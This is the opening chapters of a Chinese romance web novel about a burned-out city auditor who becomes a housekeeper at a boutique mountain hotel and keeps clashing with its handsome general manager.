《徒栖》
1. 第 1 章
踏上道路尽头最后一阶石板时,雨砸了下来。
千万条银线从云中垂落,在林间遇风,织成晃动的珠帘。
沈清在“徒栖”门口顿了半步,海拔三千多米,走得急了还是会喘。
她低头看了看脚上那双咖色限量版萨洛蒙,苔藓和泥巴粘在鞋底周围。
她跺了两下脚,试图甩掉鞋底的泥巴。
“徒栖”是奢华酒店集团“环亚”旗下创建不久的度假酒店,以小而美、小而奢在业界崭露头角,位于滇南玉龙雪山脚下。
7天前,她还在京州市金融白领汇聚地的写字楼里过着996的职场生活,昨天就打包行李飞到了3000公里外的滇南。
职位头衔从审计公司部门经理变为“徒栖”客房部房务员,月薪从五位数降到3800。
这落差,是沈清主动选择的,她不在意。
此刻,能呼吸着雪山脚下清冽的空气,沈清觉得特别幸福。
这让她有种真正活着的感觉。
简单清理好鞋底,沈清抬眼看向院子内。
院子中央,青石板铺出前院小广场。正对着的大门的是接待室,右手边是门口砌了老式灶台的厨房,左边是大门敞开的健身活动室,低头墙角有个木质狗屋,一只中华田园犬尾巴猛摇,门口插着提示牌:「内有帅狗,不咬好人」。
四下无人,沈清因失眠早早起床进山,这时候大多数人还在睡梦中。
走到接待室门口,沈清将行李箱靠墙放稳,卸下背上那只塞得鼓囊囊的巨大登山包,用手背轻敲门框,试图制造一点声响引起注意。
“有人吗?”声音在挑高的大厅里转了个圈,又回她耳边。
手机突然在沈清冲锋衣外兜震动。她拿出查看,来电的是公司的饭搭子林薇。
“你跑山里当尼姑了?!”林薇的大嗓门把手机话筒都震破音,“就因为苏逸潇和你分手?”
沈清把冲锋衣上挂着的雨滴拍落,皱眉失笑:“你听谁瞎说?”
林薇那边传来地铁播报的背景音,话语间也开始喘息:“那你现在在干嘛?”
沈清目光扫过夯土墙角落里的CassinaMaralunga沙发:“我在玉龙雪山脚下研究十几万一套的沙发。”
沈清干审计的时候,在某跨国企业固定资产抽样监盘见过同款沙发,当年刚进社会没多久的她得知一个沙发能花掉她一年的工资,差点没惊掉下巴。
林薇在那头沉默两秒:“啥意思?”
“就是不想上班了,出来清静清静。”沈清忽然不想解释那么多,她再多想一秒关于工作和公司的事情脑子就要爆炸。
“也是,抬头不见低头见的。失眠还没时间看医生,要是我我也崩溃。”林薇在电话那头叹了口气,“歇歇吧,工作嘛,不值得卖命干;男人,更不值得咱伤心。”
沈清边接电话边在收银吧台转,时不时扣一下肌理粗砺的唐卡风格墙壁:“我给自己放个假,出来散散心就回去。”
“我就佩服你这魄力!”电话那头的林薇突然压低声音,“你辞职后,咱部门的人都像没头苍蝇乱飞,宋总那个笑面虎已经不知道吵哭几个人了!”
沈清嘴角抽了抽。很好,她离职这几天,公司还没垮。
但应该快了,她祈祷着。
雨不知何时停了。
沈清边聊电话边穿过走廊在后院乱逛,却在转角处一个急刹。
她看到一高个男人正在院子角落冲澡。
准确说,是在裸着上半身洗头。
水从他头顶浇下,在肩背砸出水花。一身薄肌背对着沈清,单手把湿发捋向后脑,水珠沿着他的脊椎凹陷一路滚落,没入松松系着的工装裤腰。
沈清大脑当机了三秒。
手里的手机滑落,“啪唧”一声掉进脚下积水里。电话那头还传来林薇若有似无的话音。
男子闻声转头。
他脸上没什么表情,也没有慌乱地遮挡身体,反而平静地向沈清这边走来。
男子越走越近,沈清像是被施了法,身体僵在原地不会动弹,莫名闭起眼。
男子却只是路过沈清,从她身后的石凳上拿起一条毛巾,边擦边说:
“这么早起看人洗澡,兴趣挺小众。”
沈清听到他说话,睁开眼,这才反应过来,捡起手机,支支吾吾:
“我不是故意的......”
沈清转念一想,发现了漏洞:“诶不对啊!明明是你在公共场所洗澡,怎么还能怪别人看到呢?”
她扭头想要面对面讨个说法,双眼却又被对方裸露的上半身吓得避开了目光。
“看你不是住客。这么早来徒栖做什么?”男人擦好头发,开始穿上衣。
沈清这才转过身,好好地看了看眼前的男人:
RedWing工装靴、卷到小腿肚的工装裤,贴身的纯棉T恤上沾染着星点干草,像是刚从施工现场出来。再往上是一张需要仰视才能看到的脸:高鼻梁,深眼窝深,睫毛长得不合理。
沈清收回被美貌勾跑的魂,清了声嗓子开始自我介绍道:
“我是新员工。前院没找到工作人员。请问客房部陈经理在哪儿?”
“春梅婶,这个点应该在送孩子上学。”
“春梅婶?送孩子?”沈清一时不知道从哪里开始吐槽。
“你去二楼最北头员工宿舍里先放行李吧,春梅婶七点前会到的。”男人把擦头毛巾甩在肩膀上,说完就走了。
“谢谢啊......”沈清看着消失在走廊的背影,轻轻说道。
虽然刚才被污蔑偷看洗澡,但搞好同事关系也很重要。念在对方还算帮了个忙,沈清也不忘道谢。
反正在职场也这么多年了,什么样的人都见过,什么样的性格都可以接受。
沈清拿出手机查看,确定没摔出什么问题,打开微信继续和林薇聊:
沈清:刚才有点事儿电话断了。你不用担心我,回去了跟你联系。
林薇:好吧,我挤地铁了,你保重哈!
沈清收起手机,回到接待室提上行李找宿舍。
二楼最北头的门虚掩着,墙上木质的门牌写着“员工宿舍”。房间不大,只有她京州市租的房子卧室的一半。
一张铺着灰色床单的单人床靠墙,床头板上方钉着两块原木搁板,上面放着一个黢黑的瓦猫摆件。床对面是一扇宽阔的窗,此刻正对着后山的树林,绿色被雨水浸润,几乎要流淌进来。窗下是一张窄长的原木书桌,配着一把看起来坐垫很厚的木椅子。墙角立着一个老式衣柜,柜门一边是雕花,一边是镜子,被擦得锃亮。
她看看镜中的自己:皮肤白皙,只涂了防晒和口红却已明艳动人,咧嘴微笑还能看到隐隐的酒窝,和上班期间总是顶着黑眼圈如被吸干了精气的黄脸婆判若两人。<
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在看看这间宿舍,虽然简朴,却令人感到踏实。特别是所有家具都是木质的,摸上去让人感到平和,和身处城市浮躁的感觉大相径庭。
沈清放下登山包,长长地呼出一口气。紧绷了一路的神经,此刻终于有了些许松懈。
她感觉离自己想要的Gap生活又近了一步。
-
“林总好,您起这么早是去修后院栅栏啦?”前台接待员木秀见正边走边擦头发的林牧野经过,赶忙起身打招呼。
“刚已经修好了。”林牧野站定,皱眉询问眼前的纳西族小姑娘,“刚才,你不在前台吗?”
“刚才吗?刚才......”木秀眼珠滴溜溜一转,用无辜的眼神看向林牧野,“我上了个厕所,时间很短的啊!”
林牧野听完垂眸,思考片刻嘱咐道:“如果附近有员工,就替换一下;实在没人一定要立上告知桌牌再离开,以免客人来了找不到人。”
木秀抿嘴点点头,紧张地手不自觉攥紧:“知道了林总。”
林牧野走了一步,又退回来:“在群里通知房务部,所有人7点活动室开会。”
“好的,我通知大家。”
待林牧野走远,木秀还在撅嘴不快,正巧被刚到的陈春梅看到。
“你嘴巴可以栓驴了。”陈春梅掂着装满快递的塑料袋,看着木秀笑。
木秀赶忙过来帮她将快递放下,委屈地说:“林总不会要开会批评我吧?”
陈春梅不解:“他批评你什么?”
木秀跺脚哼唧:“刚才我就一会儿没在前台,也能被他抓包。他是怎么发现我不在的?”
陈春梅见怪不怪:“你怎么自己不小心点。不过,有些底线问题不能马虎,遇到问题了他会直接提出,你不要再犯就行,总经理心善,又不像其他老板动不动就扣工资。”
沈清听到楼下有声音,便停下手里的整理,循声下楼穿过走廊。
“你们好,我是新员工沈清。请问陈经理回来了吗?”沈清看到前台两位穿着同样蓝青色藏式花纹马甲的女士,猜测对方一定就是工作人员了。
陈春梅和蔼一笑,上前伸手介绍自己:“欢迎你,沈清。叫我春梅就行。”
沈清紧紧握住陈春梅的手:“刚才您还没来,有一位同事给我指路让我先去宿舍了。现在正式向您报到!”
“我也欢迎你,美女姐姐!我是木秀,你需要帮助找我也行。”木秀纯真的笑容非常感染人。
她伸手,指向活动室的方向,“不过,刚才林总让七点开会,咱们先移步活动室吧!”
陈春梅带头,三人来到活动室。
沈清和开会的员工一一点头打招呼,却没见刚才的男人。
她随口搭话问木秀:“是谁给我们开会?”
木秀突然两眼放光:“是我们酒店总经理林牧野,超级大帅哥!”随即,眼神又黯淡下来,忧伤道:“不过,他刚还在训我。”
沈清十分理解地点点头,搭着她的肩膀安慰:“领导都那样。不过你们酒店帅哥还挺多,这也算一种福利啊!今早我见了一个高个帅哥......”
“林总来了!”
话还没说完,木秀就朝沈清挤眉弄眼。顺着她视线看去,门口挺拔的身影如此熟悉......
沈清缓缓扭回头,尴尬地问木秀:
“他......就是你说的总经理?”
2. 第 2 章
林牧野已然换了一身行头:头发一看就是刚用吹风机吹干,蓬松地显出高颅顶;西装挂在胳膊上,只穿着笔挺的白衬衫,跟刚才的粗犷风格比起来,整个人精致利落了不少。
木秀还以为沈清也被林牧野的皮囊惊艳到,点头如捣蒜:“对啊对啊,是不是很帅?”
沈清并无此想法,但不忍扫兴,只得顺着木秀的话机械地点点头。
沈清掐指一算,上班第一天给大领导留下了不好的印象,感觉不太妙啊......
换了身皮肤的林总果然有了领导者的风范,他按照惯例安排了日常工作,目光落在了正在努力消化刚才会议内容的沈清身上。
“今天来了位新员工,沈清。大家欢迎。”
他语气温和,目光澄澈,和刚才故意要陷沈清于不义背负偷窥狂骂名的那个人判若两人。
沈清站起身,跟大家招手打招呼:“大家好,我是客房部新员工沈清,希望能和大家愉快合作。”
旁边开始有窸窸窣窣的话语传来。
“她看着像白领,怎么来当铺床的?”
“不说的话我还以为是客人。”
“是过惯了好日子,来山里体验生活吗?”
木秀看着同事在旁边毫不遮掩地议论,比了一个“嘘”的动作。
林牧野敲敲桌面,提醒大家集中注意力,又看向沈清身旁的陈春梅:
“春梅婶,你今天多带她,熟悉流程,尽快独立上岗。”
陈春梅欣然点头,以为话题结束时,林牧野垂眸,幽幽地补了句:“尤其要给新员工讲解清楚,那些该看哪些不该看,哪些该做哪些不该做,省的......惹来投诉。散会吧。”
说完,他潇洒地走出活动室,屋子里余下的人向沈清投来疑惑和揣测的目光。
有完没完,这人怎么还记起仇来了?
沈清只得对大家摊手耸肩,也装不懂。
散会后,沈清就跟着陈春梅。
不得不承认,“春梅婶”这个称呼真的很适合她。
她面庞圆润没什么皱纹,脸上泛着红光,身体微胖显富态,却手脚麻利十分干练,任谁看了都倍感亲切。
她给沈清介绍了日常工作,还熟悉了整个酒店环境。八点刚过,客人都起床出来吃早饭,“徒栖”开始热闹起来。
春梅婶领沈清来到二楼工作间,帮沈清选工装和马甲,拿工作车。
沈清将披肩发梳成低丸子头,青绿色工装将她白皙的皮肤趁成柔和的奶白色,整个人精致又淡雅。
“这么标致的小姑娘,一看就是大城市来的,怎么来山里当房务员?”
沈清穿好工装,帮陈春梅推工作车:“反正都是打工,区别不大。以后还麻烦陈经理多多关照。”
“你跟我们林总认识?”
“完全不认识,今天第一次见。”沈清推测陈春梅应该是听了林牧野说的最后一句话才这么说,连忙解释:“可能......林总对我有一些小误会。”
沈清随陈春梅进入已经退房的202房间。开窗通风后,两人先收垃圾。
“所以陈经理,麻烦快快带我入门,我表现好了,领导见我也能给个笑容不是。”
陈春梅被沈清的话逗笑:“行,那你可要看仔细了!”她将新的布草拿来,边铺边对沈清说:“床单三线居中,四面均匀,向内45度包角。”
沈清点头,在另一个床上有样学样。
“你学得快。”陈春梅看了眼沈清铺的床,眼角笑出了皱纹。
这时,走廊另一头突然传来争吵声:
“肯定是她!刚才进来时候,她就在这床头偷偷摸摸不知道干什么呢!”
沈清与陈春梅对视一眼,放下手中的床单出门查看。
205房门口已聚了三四个人。穿着貂皮外套的年轻女客人脸色涨红,手指着对面女孩的鼻尖高声训斥。
被指控的女孩是客房部的卓玛,刚才开会时候沈清见过。只见她低着头,紧抿着嘴唇,肩膀在微微发抖。
“项链我就放在枕头下面,你收拾个房间就不见了,不是你拿的才见鬼了呢!”女客人越来越激动,“我要报警!”
卓玛抬起头,眼眶通红:“阿姐,我真的没拿……我从来都没见过什么项链。”
“报警!搜身!”女客人掏出手机。
陈春梅急忙上前,双手合十安抚:“客人您先别急,如果确定是丢在房间,我们再找找……”
其他房间有客人探出头。沈清站在人群外围,目光快速扫过205房内部。
她的视线落在床上。
那是张实木床,敦实厚重,床脚是实木板直接连接地面,无法查看床底内部是否有东西。
林牧野不知何时也已来到现场,跟着的还有行政管理部的经理阿依。在场的员工因为这两人的到来,让开了一条道。
卓玛如见到救星,眼泪终于掉下来,对林牧野解释:“我真的没拿客人东西!”
“会不会随着床缝掉到床底了?”沈清突然开口。
所有人看向她。
女客皱眉:“我找过了!床下没有!”
“如果项链从床垫缝隙掉落到内部呢?”沈清语速平稳,语气沉着,“不如抬起床架检查下。”
林牧野见状,上前一步,叫身边几个员工帮忙搭把手,试图抬起整个床:“大家来帮忙抬床。”
他手指探入床底与地毯的缝隙,虽沾了一手灰,床却纹丝不动。
房务部全是女生,除了林牧野,壮小伙都在厨房或者前厅,几个人的确没什么手劲儿。
沈清上前几步站到床头,撸起袖子,双手扣住实木床架下沿,一个深呼吸,床头这端终于端缓缓离地。
“看见了!”陈春梅趴在地上伸手去够,“就在这角落里!”
一条细细的钻石项链被她拿出,顺带着还滚出一只落单的耳机。
沈清松手,林牧野猛觉一沉,床架落下发出闷响。
沈清直起身,拍了拍手上的灰:“手没事吧?我放前应该跟你说声,不好意思啊。”
林牧野尴尬地清清嗓子,语气讪讪:“劲儿挺大嘛......”
女客冲过去夺过项链查看,确认的确是自己那条,脸上红白交替。
卓玛抹了把眼泪,哭着转身跑走。
陈春梅长舒一口气,跟着林牧野和女客人又说了几句安抚的话,继而追向卓玛的方向。
围观的人散开,沈清也重新回到202,继续布草。
看来,不管在哪里工作,都会遇到这样那样的刁难。沈清想起自己以前不好受的日子,摇了摇头。
人在做体力活的时候,感觉时间飞逝,而且会饿得快,比在办公室坐一天不消化强太多。
晚饭时,沈清在工作间遇到推工作车回来的卓玛。
她虽眼眶还有些泛红,但情绪已经平静。
看到沈清,卓玛凑过来低着头小声道谢。
沈清拍拍卓玛的肩膀:“别想了,这种人咱们不用理她。不过,我午饭没吃好,咱俩这也下班了,找个地儿我请你吃顿好的?”
卓玛给沈清耐心解释:“最近的饭店是古城商业街,徒栖这里晚上没有地方吃夜宵。”
沈清瞪大眼睛好奇道:“附近也没有晚上开门的农家乐吗?那后院的鸡可以杀了炖鸡汤吗?”
卓玛破涕而笑:“沈清姐,那鸡可不敢吃,那是咱们酒店的员工!”
“员工?”
“对,林总说过,这些鸡每天产鸡蛋,做早餐刚好可以用,所以是酒店的员工,不能吃也不能卖。”
“林总这么搞笑吗?”
两人身后突然传来一声轻嗤。回头看去,林牧野不知何时站在门口,表情幽幽,手里拿着个文件。
两人刚还说的火热,突然
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现场被抓包,吓得不敢说话了。
“沈清,你来我办公室一下。”他说。
站在林牧野办公桌前,沈清看他不苟言笑,不知是好事儿还是坏事儿,只得投以春风般地笑容:
“林总,怎么了?”
“第一天上班,感受如何?”他扫了沈清一眼,顺手把文件放在了桌面。
沈清才看清,那是她自己的简历。
沈清收回注意力,边想边说:
“强度挺大,铺床还行,但没想到客房里的垃圾能有那么多,两大桶都装满!感觉明早起床会腰酸背痛。”
沈清顿了一下,突然开始斟酌起用词:“同事都挺有友善,老板也是有事儿能扛,只是......”
林牧野抬头紧盯:“只是什么?”
“一身肌肉看着挺壮实,实则有点......外强中干。”
说完,沈清眼盯鞋子,闭嘴噤声,等待对方的反应。
她也气不过林牧野揪着看洗澡的事儿不放,抓到机会就要反击。
林牧野听了倒也没什么反应,端起水杯饮了一口茶,又拿起桌上的简历:
“我外强中干,也比某些人学历诈骗好要把?”
沈清没料到会得到这样的反馈,抬眸直视林牧野,满脸问号:
“你是说我吗?”
林牧野身体向后靠倒,二郎腿也翘起来,一幅得意样子:
“你的应聘简历上,最高学历是什么?”
沈清皱眉想了一下:“大专......”
“我们的系统可以看到你招聘网站上的个人信息。你的另一份简历最高学历明明是研究生,且高中之后也是本科,怎么到我这来就写成大专了?”
林牧野双手抱臂看着她,等沈清给个解释。
沈清深吸一口气,大脑飞速旋转。
“也没听说学历往低了写......算诈骗啊!”
沈清做过调查,高学历人应聘所谓的低等工作时,有大概率会被拒绝。
之前社会新闻就讲过,奶茶店不要三十岁以上大厂上过班的待业人员,因为这类人有思想,难忽悠,管理起来很困难。
这点问题在沈清看来根本无伤大雅,这是准备冤冤相报何时了呀?
“听春梅婶说你第一天干的还不错,暂且不追究你简历诈骗的责任。希望你能踏实做好本职工作,多动手,少动嘴。”
沈清很无语,但是简历这事的确是她理亏,只得忍耐。
“好了,你出去吧。”林牧野挥挥手,低头看起其他文件。
出了林总办公室的沈清还有些气鼓鼓,刚好遇到木秀,忍不住凑上前发问:“木秀,林总这人平时对员工是不是不好?”
木秀应该是刚被晚班替换下来,已换好便装:
“他是很严格,而且总会在我偷懒时候出现,很可怕!但是,大家都很喜欢他,我们打工见过很多老板,没有人比他更能为我们着想了。”
沈清听完木秀的评价,满脸疑惑,忍不住抓了抓工作一天后原本就有点乱了的头发。
沈清见木秀往院门口走,连忙问:“木秀,你不住宿舍吗?”
“我们家都在这个村,走两步就到家了。虽然这里包吃包住,但是还是回家舒服些。”
“林总也是本地人吗?”
“才不是呢!”木秀听完又露出了纯真的笑容,“我们林总是京州市的,听说他家超级有钱,随随便便就包下整个徒栖,只是因为接手酒店才来的黎乡。”
木秀凑近,用身体撞了一下沈清:“你看他长得多有气质,怎么可能是本地人。”
“你们本地人也很有气质好不好,是另一种更独特的气质。”沈清也是不懂了,木秀总说林总对自己严苛而觉得可怕,却又在下一秒突然犯起花痴。
木秀继续说:“只有他和你住酒店宿舍,而且他的房间啊,就在你隔壁。”
3. 第 3 章
真是冤家路窄,怎么连睡觉都要在隔壁。
沈清吃完晚饭进宿舍前,专门拐到隔壁门前看了一眼。
一墙之隔,不过还好不是靠床那边。沈清默默做打算,以后晚上在宿舍时动静可得小点。
当晚,沈清眼皮早早就沉得不行,躺在床上强撑着看了眼手机。
前同事私聊群里,沈清被疯狂艾特。
有人猜她去了竞争对手公司,有人猜她出国进修,甚至有人直接问:“沈总监是不是怀孕了隐退结婚当家庭主妇去了?”
沈清叹了口气,退出群聊,从抽屉里拿出自己带的小本子,像日记一样写下日期,记录新生活第一天的重要事项:
1、今日步数2万7。
2、鸡是员工不能吃。
3、老板劲儿没我大,所以到处挑刺儿,还睡在我隔壁,一定要小心此人!
4、知道铺床累,但没想到这么累。
5、还没空爬千狮山,休息日一定征服它!
沈清写完翻了个身,把脸埋进带着消毒水味道的枕头里,昏倒似的睡过去了。
-
接下来的几天都很忙碌,秋季是徒步的好时机,工作日山上住宿的游客也络绎不绝。
沈清的工作也日渐得心应手,每天埋头苦干,几乎不用带脑子上班,睡眠质量跟以前比可好太多了。
这天,在吃午饭的空档,沈清听到住客在谈论爬山心得,说旁边的千狮山真的有上千头石狮子分布在山上,半山腰还有个寺庙,树上被人挂满了祈福带,拍照特别好看。
沈清听的心痒痒,终于挨到晚上下班,找到了正在盘点客用消耗品的陈春梅。
沈清向春梅婶讲了想要将日常上班时间提前两个小时,以便在夕阳晚霞的时候下班去徒步的请求。
春梅婶不置可否,说只要林总答应就行。
于是,沈清又来敲林牧野办公室的门。
“请进。”悦耳的嗓音还挺配林牧野的长相。
沈清恭顺地进屋,嘿嘿干笑两声。
林牧野抬眸见是沈清,淡淡地问:“有什么事吗?”
林牧野问一句,沈清铺垫一大堆。可能人在心虚的时候就会忍不住不停说话吧。
“我总结一下,你的意思是,想要6点上班,四点半下班,对吗?”
沈清不禁为林牧野的阅读理解能力点赞,带着期待的眼神不停点头。
“虽然我非常不愿意打探员工隐私,但在考虑保证员工人身安全的情况下,还是想知道为什么。”
沈清本不想说,毕竟有求于人。
“趁太阳没落山,徒步锻炼身体,有空了还想登顶玉龙雪山什么的。”沈清自觉理由充分,没什么好遮掩,便敞亮说出。
林牧野听到玉龙雪山四个字,脸色骤变。沈清从他眼神中看到了很复杂的变化,比生气沉重,比愤怒平和。
沈清看他如此反应,赶紧复盘自己的话语,但实在是想不出哪句触到林总的雷点了。
“我不批准。”林牧野垂下目光,恢复了如常的状态,波澜不惊地拒绝了沈清。
沈清忍不住问:“为什么?”
“为什么?”他看向沈清的眼神又变得凌厉起来,“还没好好渡过实习期,还敢提要求?”
沈清闷闷不乐地继续之后的工作,见到林总表面点头哈腰,背后猛做鬼脸。
终于挨到休息日,沈清倍感珍惜,上午爬了千狮山,下午去了山脚的古城,玩儿到天黑才回宿舍。
她手里还掂着打包回来的王记凉粉,在宿舍门口时遇到了回宿舍拿东西的林牧野。
林牧野经过时,扫了一眼沈清。沈清原本见了领导有点收着,突然想到现在是班后时间,又昂首挺胸,哼着小曲进了宿舍。
沈清放下手里的凉皮,盯着看了几秒。
今天的徒步意犹未尽,她还是想每日能有空爬山锻炼。
她灵机一动,把原本带回来自己吃的凉皮拿起,敲响了林牧野的门。
门开了,林牧野站在门边,头顶几乎要触及门框。
“怎么了?”林牧野语气沉沉。
沈清立刻卑躬屈膝,递上手里的“礼物”:“林总,您总是忙得不吃饭,我今天去古镇,给您带了份夜宵。”
他愣了一下,歪头看了眼凉皮,眼中起了疑惑:“你,给我,带夜宵?”
沈清连连点头,眼神虔诚:“对啊,您辛苦了,不成敬意,您就收下吧。”
刚入职的自己因和领导有了误会,提出请求被拒绝,可以理解;只要自己努力扭转林总的偏见,终有一天他一定会同意的!
沈清在林牧野拒绝前把凉皮硬塞到林牧野手里,飞快地跑走了。
-
第二天开始,沈清总是在意着林牧野的行踪。
他开晨会时,总能撞见沈清明亮的双眸紧盯自己;他巡视时,总会遇见在眼前走来走去干活还打招呼的沈清;他在餐厅吃员工餐时,还能收到沈清专门为他留的来晚就抢不到的硬菜。
一开始,林牧野还担心自己拒绝了沈清的请求,沈清会更加记仇或者消极怠工。
他怎么也想不通,这个女生反而对自己更加殷勤了。
午饭后,林牧野在后院拦住了正在菜园择菜的餐饮部大厨杨福光。
杨福光常年与灶火为伍,让他整个人透着种暖烘烘的气质,是“徒栖”里可靠的老大哥,是为数不多林牧野愿意吐露心声的人。
林牧野蹲在地上心不在焉地拔着杂草,状似随意:“福光叔,问你个事。”
杨福光头也不抬:“说。”
“如果一个人,”他斟酌用词,“本来总是挑你刺,处处跟你对着干。突然开始各种献殷勤。为什么?”
杨福光手停下动作,瞥眼看了下林牧野。
他直起身,挪步把烂菜叶倒入鸡圈:“男的女的?”
林牧野不语。
“哦~”杨福光拉长音,一脸“我懂了”的表情。
林牧野不知道为什么,耳朵有点烫。
杨福光凑近,压低声音:“我跟你说啊,我们村以前就有这样的!老李家的闺女,喜欢隔壁木匠儿子,天天找人家做凳子,还嫌人家做得不好要求返工!一来二去俩人就在一起了!”
“是吗。”林牧野挠挠头。
“这玩意儿,到哪儿都一样!喜欢你才挑你刺,光想引起你注意。不然怎么有机会亲近!”
他拍拍林牧野的肩膀,语重心长:“林总,人家姑娘都主动了,你得接招啊!”
“算了吧,人家也可能不是这意思。”
“小林啊,你来黎乡之后性情变化很大。之前的事你已经尽力在弥补,更何况那件事情根本原因并不在你,不要总陷在里面。谈恋爱挺好,起码能让你开心一点,你也老大不小了。”
林牧野垂眸,整个人突然变得丧丧的。
杨福
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光继续说:“没关系,不想就不想,不接受心意就当做不知道。对待女孩子还是要温柔,不让对方觉得难堪就行。”
“明白了。谢谢你福光叔。”
“不过......”林牧野准备离开之际,杨福光又想起了什么。
“怎么了福光叔?”
“之前云岚喜欢你的时候,也看你处理的很好,没有这么伤神费心啊?”
云岚是黎乡本地女孩儿,因哥哥云万宝在礼宾部任职接待而认识了林牧野,从此一发不可收拾,发誓非林牧野不嫁。
“那是妹妹。”林牧野淡淡地说。
-
下午阳光正好,沈清站在二楼客房的窗台上,手里攥着抹布,半个身子探出窗外去够最上方的角落。
林牧野恰好在这时路过,准备去找财务阿依讨论报销费用的事儿。
他抬头,看见沈清悬在空中的惊险姿势,脚步顿住了。
沈清用眼角余光瞥见了林牧野。
很好,老板在视察,是时候展现我对工作的热爱了。
她加大胳膊摆动力度,略显吃力的伸展,还抽空扭头打了个招呼,笑容灿烂得有点刻意:“林总,这扇窗马上擦好!”
林牧野眉头微皱。
下一秒,他担心的事果然还是发生了。
沈清的左脚突然踩空,整个人像慢镜头一样向后仰去,手里的抹布飞向空中,划出一道狼狈的弧线。
林牧野身体比大脑先动,张开手臂准备接人,心里暗暗琢磨:沈清,你连苦肉计都要用上吗?!
这想法在林牧野脑海闪过,导致动作迟疑了那么半秒。
就这半秒,沈清“噗通”一声摔进了窗下的矮灌木丛,四仰八叉地躺在灌木丛里,诶哟不停。
林牧野站在两步外,手还维持着半伸的姿势,表情复杂。
“你没事吧?”他上前试图拉起沈清。
沈清站起身,突觉脚腕一阵酸痛。
林牧野蹲下细细检查,红肿已经起来了。
“工作不专心,怎么保证安全?”
“我看到你来了......”
“你最近总是在意我的行踪,频频在我面前出现,是想怎样?”
沈清一愣:被他发现了?发现自己为了讨好他能调整工作时间去徒步而故意表现得卖力工作?
沈清有点着急,脸都红了,想着林牧野不会刚正不阿不吃这一套要批评我吧?难道想消除坏印象拉近关系也不行?
林牧野看见她脸颊的红晕,心里万分笃定:果然没错,这个女人试图勾引我!还被我说害羞了!
但下一秒,沈清安慰自己,理由堂堂正正,一点也不丢人啊。
她扬起下巴,铿锵有力地回答:
“林总,我这个人有个优点,一旦认定了不达目的决不罢休!”沈清心想:我就是要调整工作时间,直到你同意为止!
“为了达到目的,脚崴了,傻不傻。”林牧野低声说。
沈清看林牧野没有反感,还如此温柔,内心奇怪:林总为何突然这样?怪我受伤怕我不能工作吗?
林牧野叹了口气,弯下腰,一手穿过她膝弯,一手扶住她后背,直接把她打横抱了起来。
“啊啊啊你干嘛?!”沈清吓得一把抓住他的衣领。
“去下医务室。”林牧野大步流星往前走,心理却在默默念叨:
女人,你成功引起了我的注意。
4. 第 4 章
因为脚扭到了,沈清这两天休息,偶尔做点力所能及的工作。
在宿舍翘着脚养伤时,沈清无聊拿起手机,开始翻起了这几天都没看过的朋友圈。
映入眼帘的是前公司和自己同部门的唐小婉的朋友圈。这个时间点已经下班两个多小时了,照片能看出来是在工位上摆着一个自己做的盒饭,配文是“爱心晚餐”。
沈清一眼看出,那个饭盒,是她前男友苏逸潇的。
沈清点开唐小婉的名字,去查看她近一两个月的朋友圈图片,在各种照片的角落了里看到了苏逸潇的车、苏逸潇的手、苏逸潇的家......
不是吧?沈清倦意全无,回想着这两个月来,苏逸潇对自己冷淡的态度和不耐烦的语气,还有半个月前强硬提出的分手,一下子全都有迹可循了。
沈清呆呆地坐在床边,眼神空洞,以至于林牧野敲门都没有听见。
“你怎么了?”
沈清抬眼看时,林牧野已经推开宿舍门站着了。
“什、什么?”
“敲门没有回应,我还以为你摔伤的后遗症现在冒出来了呢。”他似在打趣,眼睛却关心着沈清。
沈清从刚才的顿悟中回过神来,低头轻轻回答:“我没事。”
林牧野礼貌地问:“我可以进来吗?”
沈清点点头。
林牧野见沈清兴致不高,拿出手里的饭盒,放在沈清桌子上,又后退回门口:“这是福光叔给你做的营养餐,毕竟是工伤,吃了补补。”
沈清木木地点点头。
“你确定不需要去县里医院看看骨头?”林牧野又试探着询问,“或者看看脑子?”
沈清终于有点反应,撅嘴瞥他一眼:“林总,你是在说我脑子有病吗?”
看到沈清恢复状态,林牧野神情也轻松了许多:“嗨,福光叔白担心了。”
林牧野手机响起,便做了个离开的手势,合上门走了,留沈清盯着桌上的盒饭又出神。
她记得,苏逸潇的饭盒还是两人一起挑的。
没一会儿,她扶着床边的手背被冰了一下。
她抬手,用力地擦去眼中的泪水。
沈清告诉自己不要哭,为了这种男人不值得的,可是更多的泪水夺眶而出。
被上司不公平对待时候她没哭过,和苏逸潇吵架分手她没哭过,如今的哭,更多的是被愚弄后的自我可惜。
可惜了自己几年对爱情无私付出的青春,可惜了自认为和唐小婉相处良好的同事情。
突然,又响起了敲门声,沈清赶紧调整情绪。
卓玛的圆圆脑袋探了进来,紧接着是另一颗陌生的脑袋。
沈清疑惑地看着这两个人:“请进。”
“沈清姐,你怎么样了,好点没?”卓玛手里拿着印着“鲜花饼”的袋子,和一个小女孩走了进来。
女孩个子不高,面庞还有些稚嫩,双马尾的辫子特别长。
卓玛把鲜花饼放在沈清桌子上,解释道:“这是云岚,是前台接待云万宝的妹妹。”
云岚走近沈清,上上下下把她打量了个遍,眼里全是不满。
沈清看她不甚友好,脑子里想了一圈自己有没有的罪过云万宝。
结论是没有。
“你脚腕好些了吗?”卓玛温柔问沈清。
“好多了,今天我还尝试着走了一段路呢。”沈清撩开裤腿,给卓玛看已经消肿的脚踝。
“听说昨天是林总抱你去的医务室?刚还专门给你送饭上门?”云岚突然开口,眼睛直视沈清,入鹰般锐利。
沈清还没反应过来这对话的走向,云岚已经蹲下身来,用手精准地捏住了沈清脚踝最肿的那块瘀青。
沈清倒抽一口凉气,脏话差点从嘴巴脱口而出。
“你干嘛!”卓玛瞪大眼睛吼了云岚。
“哎呀,姐姐很疼吗?”云岚抬起头,眼睛睁得圆圆的,满脸无辜,“我在检测你是不是在装受伤。”
沈清疼的抬不起头,只觉她莫名其妙。
卓玛急得方言都出来了:“云岚你整哪样!沈清姐姐的脚是真伤着了!”
说着,卓玛把云岚推出门,门栓一查,不让云岚进来,生怕她再对沈清做什么。
卓玛拿起桌上袋子里的鲜花饼,送到沈清嘴边:“你别跟她一般见识,17岁,还是小孩儿。”
“她为什么对我有敌意?”沈清仍是没想通。
“她啊,喜欢林总,以前老跟个跟屁虫似的缠着他。不过你放心啊,林总和她没什么。”
沈清吃着鲜花饼,差点噎着:“为什么要我放心?”
“你对林总总是很......你喜欢他?”
“我可没有!我那是有事儿求他!”沈清听了气的差点吐血。
卓玛也不管到底有没有,继续说:“她最近闹辍学,估计要经常逃课来骚扰林总了。而且谁知道她是因为林总抱你才故意让我带她见你,早知道就......”
“原来如此。”沈清点点头,点头表示了解。
“总之,我会帮你注意她的。”卓玛拍胸脯保证。
,不过......”
“不过什么?”
